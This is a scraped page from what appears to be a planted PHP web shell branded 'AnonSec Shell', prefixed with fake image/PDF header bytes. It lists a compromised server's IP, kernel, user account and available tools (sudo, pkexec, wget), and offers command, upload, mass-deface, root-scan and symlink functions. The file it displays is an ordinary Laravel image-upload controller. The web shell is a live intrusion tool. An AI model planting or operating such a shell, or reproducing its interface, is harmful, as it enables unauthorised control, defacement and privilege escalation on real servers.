ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY AnonSec Shell
AnonSec Shell
Server IP : 157.90.209.209  /  Your IP : 216.73.216.129   [ Reverse IP ]
Web Server : Apache
System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64
User : evidenciarevista ( 1049)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Domains : 216 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/evidenciarevista/admin/app/Http/Controllers/Post/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/evidenciarevista/admin/app/Http/Controllers/Post/PostImageController.php
<?php

namespace Evidencia\Http\Controllers\Post;

use Evidencia\Fatima\Upload;
use Evidencia\Http\Controllers\Controller;
use Evidencia\Http\Requests;
use Evidencia\Post;
use Evidencia\PostImage;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;

class PostImageController extends Controller
{
    private $post;
    private $img;

    public function __construct(Post $post, PostImage $img)
    {
        $this->post = $post;
        $this->img = $img;
    }


    public function create($id)
    {
        $post = $this->post->find($id);
        return view('pages.post.images', compact('post'));
    }



    public function store($id,Request $request, Upload $upload)
    {

        $file = $request->file('file');
        $fileName = $upload->makeResizeWithThumb($file, 900, 300, '/uploads/post/add', 'uploads/post/add/thumb');
        $save =  $this->img->create(['file' => $fileName, 'post_id' => $id]);
        return $save;
        
        /*$image = $request->file('file');
        foreach ($image as $img)
        {
            //make updload with thumb
            $resizedImage = $upload->makeResizeWithThumb($img, 900, 300, '/uploads/post/add', 'uploads/post/add/thumb');
            $this->img->create(['file' => $resizedImage, 'post_id' => $request->get('post_id')]);
        }
        return redirect()->back()->with('ok', 'Imagem cadastrada com sucesso!');*/
    }


    public function update($id,Request $request)
    {
        $this->img->find($id)->update(['name' => $request->get('name')]);
        return redirect()->back()->with('ok', 'Dados atualizados com sucesso!');
    }



    public function destroy($id, $file)
    {
        $this->img->find($id)->delete();
        Storage::disk('local_upload_post_add')->delete($file);
        Storage::disk('local_upload_post_add_thumb')->delete($file);
        return redirect()->back()->with('ok', 'Imagem deletada com sucesso!');
    }



}

Anon7 - 2022
AnonSec Team